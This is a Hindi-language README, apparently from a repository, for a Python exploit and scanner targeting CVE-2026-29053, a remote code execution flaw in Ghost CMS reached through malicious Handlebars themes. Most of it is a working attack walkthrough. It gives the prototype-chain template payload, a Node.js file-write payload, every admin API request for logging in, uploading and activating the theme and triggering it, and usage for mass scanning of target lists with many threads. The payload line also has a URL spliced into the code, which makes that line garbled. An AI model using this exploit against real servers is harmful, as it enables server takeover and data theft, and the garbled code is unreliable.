
CVE-2026-29053 के लिए Python PoC और वर्ज़न स्कैनर, जो Ghost CMS 6.19.1 से नीचे के वर्ज़न में दुर्भावनापूर्ण Handlebars थीम टेम्पलेट्स के माध्यम से एक authenticated RCE है।
CVE-2026-29053, Node.js पर बने Ghost कंटेंट मैनेजमेंट सिस्टम को प्रभावित करता है। 0.7.2 से 6.19.0 तक के संस्करण इस समस्या के प्रति संवेदनशील हैं। एक दुर्भावनापूर्ण थीम इस कमज़ोरी का फायदा उठाकर Ghost चला रहे सर्वर पर मनमाना कोड निष्पादित कर सकती है। इस कमज़ोरी की गंभीरता उच्च है, जिसका CVSS स्कोर 7.6 है। इस समस्या को संस्करण 6.19.1 में पैच कर दिया गया है। एक हमलावर जो इस कमज़ोरी का सफलतापूर्वक शोषण करता है, वह सर्वर तक अनधिकृत पहुँच प्राप्त कर सकता है और संभवतः उसका नियंत्रण अपने हाथ में ले सकता है। फिर वे इस पहुँच का उपयोग डेटा में हेरफेर करने, संवेदनशील जानकारी चुराने, या अन्य दुर्भावनापूर्ण गतिविधियाँ करने के लिए कर सकते हैं। प्रभावित उत्पाद/सेवाएँ Ghost के 0.7.2 से 6.19.0 तक के सभी संस्करण हैं। इस जोखिम को कम करने के लिए, उपयोगकर्ताओं को जल्द से जल्द अपनी Ghost इंस्टॉलेशन को संस्करण 6.19.1 या बाद के संस्करण में अपडेट करना चाहिए। यह सुनिश्चित करेगा कि कमज़ोरी पैच हो गई है और अब कोई खतरा नहीं है। यदि इस समय अपडेट करना संभव नहीं है, तो इस कमज़ोरी में किसी भी नए घटनाक्रम की बारीकी से निगरानी करने और संभावित हमलों से बचाव के लिए आवश्यक सुरक्षा उपाय लागू करने की सिफारिश की जाती है। यह CVE वर्तमान में CISA Known Exploited Vulnerabilities (KEV) कैटलॉग में सूचीबद्ध नहीं है, जिसका अर्थ है कि इसका खतरा अभिनेताओं द्वारा सक्रिय रूप से शोषण नहीं किया गया है। हालाँकि, उपयोगकर्ताओं को अभी भी इस कमज़ोरी से जुड़े किसी भी संभावित जोखिम को रोकने के लिए अपने सिस्टम को अपडेट करने को प्राथमिकता देनी चाहिए।
CVE-2026-29053 के लिए एक Python PoC, जो Ghost CMS में एक रिमोट कोड निष्पादन कमज़ोरी है, जो विशेष रूप से तैयार की गई थीमों के टेम्पलेट रेंडरिंग के दौरान मनमाना JavaScript निष्पादित करने में सक्षम होने के कारण होती है।
प्रभावित: Ghost
0.7.2से6.19.0तक ठीक किया गया: Ghost CWE-74 — डाउनस्ट्रीम कंपोनेंट द्वारा उपयोग किए जाने वाले आउटपुट में विशेष तत्वों का अनुचित निष्क्रियीकरण
6.19.1Ghost की सलाह इस समस्या को दुर्भावनापूर्ण थीमों के माध्यम से मनमाना कोड निष्पादन के रूप में वर्णित करती है।
Ghost थीम Handlebars टेम्पलेट्स (.hbs) का उपयोग करती हैं।
एक विशेष रूप से तैयार किया गया टेम्पलेट Ghost द्वारा Handlebars एक्सप्रेशन को संसाधित करने के तरीके का दुरुपयोग कर सकता है और JavaScript कार्यक्षमता तक पहुँच सकता है जो सामान्य थीम टेम्पलेट से पहुँच योग्य नहीं होनी चाहिए।
शोषण का महत्वपूर्ण हिस्सा टेम्पलेट एक्सप्रेशन है:
{{#get "posts" filter="tags:{{page[?( ({__proto__:"".toString})["constructor"](https://github.com/k3ystr0k3r/cve-2026-29053/blob/main/%22%25PAYLOAD%25%22)() )]}}" limit="1"}}
{{/get}}
पेलोड को दुर्भावनापूर्ण थीम को पैकेज करने से पहले टेम्पलेट में डाला जाता है।
परिणामी टेम्पलेट को फिर Ghost Admin API के माध्यम से अपलोड और सक्रिय किया जाता है।
जब Ghost बाद में प्रभावित टेम्पलेट को रेंडर करता है, तो इंजेक्ट किया गया एक्सप्रेशन Ghost सर्वर प्रक्रिया के अंदर JavaScript पेलोड को निष्पादित करने का कारण बनता है।
PoC पहले एक प्रमाणित Ghost Admin सत्र स्थापित करता है।
प्रासंगिक एंडपॉइंट है:
POST /ghost/api/admin/session/
PoC द्वारा उत्पन्न अनुरोध इसके बराबर है:
POST /ghost/api/admin/session/ HTTP/1.1
Host: TARGET
Accept: application/json
Content-Type: application/json
Origin: http://TARGET
{
"username": "[email protected]",
"password": "PASSWORD"
}
Ghost प्रमाणित सत्र कुकी लौटाता है।
PoC HTTP 201 की जाँच करता है और फिर उसी requests.Session() ऑब्जेक्ट का उपयोग करना जारी रखता है।
शोषण एक न्यूनतम Ghost थीम वाला ZIP आर्काइव बनाता है।
महत्वपूर्ण फ़ाइलें हैं:
malicious-theme.zip
├── default.hbs
├── index.hbs
├── page-rce.hbs
├── page.hbs
├── post.hbs
└── package.json
दुर्भावनापूर्ण टेम्पलेट यहाँ लिखा जाता है:
page-rce.hbs
PoC Python के zipfile मॉड्यूल का उपयोग करके पूरी तरह से मेमोरी में आर्काइव बनाता है।
उत्पन्न package.json आर्काइव को एक Ghost थीम के रूप में पहचानता है:
{
"name": "malicious-theme",
"description": "Minimal Ghost theme for CVE-2026-29053 authorized lab reproduction",
"version": "1.0.0",
"engines": {
"ghost": ">=5.0.0"
},
"license": "MIT"
}
थीम का संवेदनशील हिस्सा page-rce.hbs के अंदर Handlebars एक्सप्रेशन है।
PoC उत्पन्न करता है:
{{!< default}}
<main class="lab-page">
<h1>CVE-2026-29053 trigger</h1>
<p>This page renders the malicious theme template.</p>
</main>
{{#get "posts" filter="tags:{{page[?( ({__proto__:"".toString})["constructor"](https://github.com/k3ystr0k3r/cve-2026-29053/blob/main/%22%25PAYLOAD%25%22)() )]}}" limit="1"}}
{{/get}}
%PAYLOAD% में प्रतिस्थापित किया जाता है।डिफ़ॉल्ट PoC कोड निष्पादन के गैर-विनाशकारी प्रमाण के रूप में एक फ़ाइल-राइट पेलोड का उपयोग करता है।
यह इसके बराबर JavaScript उत्पन्न करता है:
var fs=process.getBuiltinModule('fs');
fs.writeFileSync(
'/tmp/cve-2026-29053-rce.txt',
'CVE-2026-29053 proof: /tmp/cve-2026-29053-rce.txt'
);
return 1
यह प्रदर्शित करता है कि पेलोड Ghost Node.js प्रक्रिया के अंदर निष्पादित हो रहा है और Node.js कार्यक्षमता तक पहुँच सकता है।
PoC में लैब वातावरण के लिए एक वैकल्पिक कॉलबैक मोड भी शामिल है।
एक बार दुर्भावनापूर्ण थीम उत्पन्न हो जाने के बाद, PoC इसे यहाँ भेजता है:
POST /ghost/api/admin/themes/upload/
अनुरोध एक मल्टीपार्ट फॉर्म अपलोड है।
संकल्पनात्मक रूप से:
POST /ghost/api/admin/themes/upload/ HTTP/1.1
Host: TARGET
Accept: application/json
Origin: http://TARGET
Cookie: ghost-admin-api-session=SESSION
Content-Type: multipart/form-data; boundary=------------------------BOUNDARY
--------------------------BOUNDARY
Content-Disposition: form-data; name="file"; filename="malicious-theme.zip"
Content-Type: application/zip
[ZIP ARCHIVE]
--------------------------BOUNDARY--
आर्काइव में ऊपर वर्णित दुर्भावनापूर्ण .hbs टेम्पलेट शामिल है।
PoC HTTP 200 की अपेक्षा करता है और JSON प्रतिक्रिया से लौटाए गए थीम नाम को निकालता है।
थीम अपलोड करने के बाद, PoC इसे इसके साथ सक्रिय करता है:
PUT /ghost/api/admin/themes/THEME_NAME/activate/ HTTP/1.1
Host: TARGET
Accept: application/json
Origin: http://TARGET
Cookie: ghost-admin-api-session=SESSION
सक्रियण एंडपॉइंट गतिशील रूप से बनाया जाता है:
/ghost/api/admin/themes/{theme_name}/activate/
यदि Ghost HTTP 200 नहीं लौटाता है तो शोषण रुक जाता है।
PoC फिर एक प्रकाशित पृष्ठ बनाता है:
POST /ghost/api/admin/pages/ HTTP/1.1
Host: TARGET
Accept: application/json
Content-Type: application/json
Origin: http://TARGET
Cookie: ghost-admin-api-session=SESSION
{
"pages": [
{
"title": "rce",
"slug": "rce",
"status": "published",
"html": "<p>rce</p>"
}
]
}
कोड स्लग का उपयोग करता है:
/rce/
यदि पृष्ठ पहले से मौजूद है, तो यह इसके बजाय मौजूदा पृष्ठ को पुनः प्राप्त करने का प्रयास करता है।
अंतिम ट्रिगर बस है:
GET /rce/ HTTP/1.1
Host: TARGET
Cookie: ghost-admin-api-session=SESSION
यह Ghost को सक्रिय थीम को रेंडर करने का कारण बनता है।
PoC लौटाए गए HTML में इसकी जाँच करता है:
CVE-2026-29053 trigger
यह पुष्टि करने के लिए कि page-rce.hbs रेंडर किया गया था।
महत्वपूर्ण अंतर यह है कि हमलावर केवल किसी पृष्ठ में HTML इंजेक्ट नहीं कर रहा है।
दुर्भावनापूर्ण इनपुट Ghost Handlebars थीम टेम्पलेट का हिस्सा बन जाता है।
टेम्पलेट को बाद में Ghost के सर्वर-साइड रेंडरिंग सिस्टम द्वारा व्याख्या किया जाता है।
तैयार किया गया एक्सप्रेशन प्रोटोटाइप/कंस्ट्रक्शन श्रृंखला के माध्यम से JavaScript कार्यक्षमता तक पहुँचता है:
__proto__
↓
toString
↓
constructor
↓
Function(...)
↓
attacker-controlled JavaScript
परिणामी JavaScript Ghost सर्वर प्रक्रिया में निष्पादित होता है।
PoC इसे Node के अंतर्निहित fs मॉड्यूल तक पहुँचकर और सर्वर पर एक फ़ाइल लिखकर प्रदर्शित करता है।
HTTP इंटरैक्शन को एक साथ रखते हुए:
1. POST /ghost/api/admin/session/
└── authenticate
2. POST /ghost/api/admin/themes/upload/
└── upload malicious-theme.zip
3. PUT /ghost/api/admin/themes/<name>/activate/
└── activate malicious theme
4. POST /ghost/api/admin/pages/
└── create /rce/
5. GET /rce/
└── render malicious page-rce.hbs
└── Handlebars expression
└── JavaScript execution
└── OS-level impact
PoC में एक स्कैनर भी शामिल है।
यह अनुरोध करता है:
GET /ghost/api/admin/site/ HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0
प्रतिक्रिया को इसके लिए पार्स किया जाता है:
{
"site": {
"version": "6.19.0"
}
}
PoC फिर संस्करण की तुलना इससे करता है:
0.7.2 <= version <= 6.19.0
और मेल खाने वाले संस्करणों को संवेदनशील के रूप में रिपोर्ट करता है।
प्रकाशित सलाह प्रभावित सीमा को >= 0.7.2, < 6.19.1 के रूप में निर्दिष्ट करती है, जिसमें 6.19.1 ठीक किया गया संस्करण है।
python3 exploit.py --target http://TARGET
डिफ़ॉल्ट प्रमाण पथ है:
/tmp/cve-2026-29053-rce.txt
इसे इसके साथ बदला जा सकता है:
python3 exploit.py --target http://TARGET --proof-path /tmp/test.txt
यदि Ghost सेटअप पहले ही पूरा हो चुका है:
python3 exploit.py --target http://TARGET --skip-setup
क्रेडेंशियल्स इसका उपयोग करके प्रदान किए जा सकते हैं:
--email
--password
लक्ष्य एक फ़ाइल से प्रदान किए जा सकते हैं:
python3 exploit.py --file targets.txt
थ्रेड संख्या:
python3 exploit.py --file targets.txt --threads 25
स्कैनर Ghost Admin साइट एंडपॉइंट की जाँच करता है और रिपोर्ट किए गए Ghost संस्करण की तुलना संवेदनशील सीमा से करता है।
सफल शोषण Ghost सर्वर प्रक्रिया के भीतर मनमाना JavaScript निष्पादन की अनुमति देता है।
Ghost प्रक्रिया के विशेषाधिकारों और उपयोग किए गए पेलोड के आधार पर, यह इन्हें प्रभावित कर सकता है:
प्रकाशित CVE रिकॉर्ड इस समस्या को नेटवर्क से पहुँच योग्य बताता है लेकिन उच्च विशेषाधिकार और उपयोगकर्ता इंटरैक्शन की आवश्यकता होती है, स्कोप बदला हुआ है।
Ghost को अपग्रेड करें:
6.19.1+
Ghost की कमज़ोरी सलाह 6.19.1 को पैच किए गए संस्करण के रूप में पहचानती है।
अविश्वसनीय थीम इंस्टॉल न करें।
यह PoC कमज़ोरी अनुसंधान, अधिकृत प्रवेश परीक्षण, और शैक्षिक उद्देश्यों के लिए प्रदान किया गया है।